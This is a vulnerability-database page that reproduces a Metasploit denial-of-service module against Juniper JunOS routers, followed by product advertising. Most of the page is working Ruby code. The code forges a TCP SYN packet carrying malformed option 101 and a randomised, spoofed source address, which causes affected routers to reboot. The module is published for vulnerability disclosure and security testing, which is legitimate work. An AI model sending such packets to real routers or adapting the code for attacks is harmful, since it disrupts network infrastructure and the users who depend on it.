Lucene search
K

Juniper JunOS Malformed TCP Option

🗓️ 02 Feb 2010 17:19:14Reported by todb <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 9 Views

Juniper JunOS Malformed TCP Option, denial of service vulnerabilit

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Capture
  include Msf::Auxiliary::Dos

  def initialize
    super(
      'Name'        => 'Juniper JunOS Malformed TCP Option',
      'Description' => %q{ This module exploits a denial of service vulnerability
        in Juniper Network's JunOS router operating system. By sending a TCP
        packet with TCP option 101 set, an attacker can cause an affected
        router to reboot.
        },
      'Author'      => 'todb',
      'License'     => MSF_LICENSE,
      'References' =>
        [
          ['BID', '37670'],
          ['OSVDB', '61538'],
          ['URL','http://praetorianprefect.com/archives/2010/01/junos-juniper-flaw-exposes-core-routers-to-kernal-crash/']
        ]
    )

    register_options([
      OptInt.new('RPORT', [false, 'The destination port (defaults to random)']),
      OptInt.new('SPORT', [false, 'Source port (defaults to random)']),
      OptAddress.new('SHOST', [false, 'Source address (defaults to random)'])
    ])

    deregister_options('FILTER','PCAPFILE', 'SNAPLEN')
  end

  def rport
    datastore['RPORT'].to_i.zero? ? rand(0xffff) : datastore['RPORT'].to_i
  end

  def sport
    datastore['SPORT'].to_i.zero? ? rand(0xffff) : datastore['SPORT'].to_i
  end

  def shost
    datastore['SHOST'] || IPAddr.new(rand(0xffffffff), Socket::AF_INET).to_s
  end

  def run

    open_pcap

    p = PacketFu::TCPPacket.new
    p.ip_daddr = rhost
    p.ip_saddr = shost
    p.ip_ttl = rand(128) + 128
    p.tcp_sport = sport
    p.tcp_dport = rport
    p.tcp_flags.syn = 1
    p.tcp_win = rand(4096)+1
    p.tcp_opts = "e\x02\x01\x00" # Opt 101, len 2, nop, eol
    p.recalc
    print_status("#{p.ip_daddr}:#{p.tcp_dport} Sending TCP Syn packet from #{p.ip_saddr}:#{p.tcp_sport}")
    capture_sendto(p,rhost)
    close_pcap
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Jul 2017 13:26Current
6.7Medium risk
Vulners AI Score6.7
9